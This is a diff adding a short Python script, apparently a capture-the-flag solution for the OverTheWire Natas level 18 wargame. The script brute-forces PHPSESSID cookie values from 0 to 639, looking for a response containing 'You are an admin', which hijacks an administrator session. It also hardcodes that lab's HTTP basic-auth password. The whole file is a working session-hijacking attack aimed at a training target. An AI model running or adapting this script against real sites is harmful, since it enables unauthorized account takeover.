web exploit

Web_Security/user_id/sqli_19_cookie_auth.py

@@ -0,0 +1,34 @@
+#!/usr/bin/python
+
+__author__ = "bt3gl"
+__email__ = "bt33gl@gmail.com"
+
+import requests
+
+
+def brute_force_password(AUTH, URL, PAYLOAD, MAXID):
+
+    for i in range(MAXID):
+        HEADER ={'Cookie':'PHPSESSID=' + str(i)}
+        r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER)
+        print(i)
+
+        if "You are an admin" in r.text:
+            print(r.text)
+            print(r.url)
+
+
+
+
+if __name__ == '__main__':
+
+    AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')
+    URL = 'http://natas18.natas.labs.overthewire.org/index.php?'
+
+    PAYLOAD = ({'debug': '1', 'username': 'user', 'password': 'pass'})
+    MAXID = 640
+
+    brute_force_password(AUTH, URL, PAYLOAD, MAXID)
+
+
+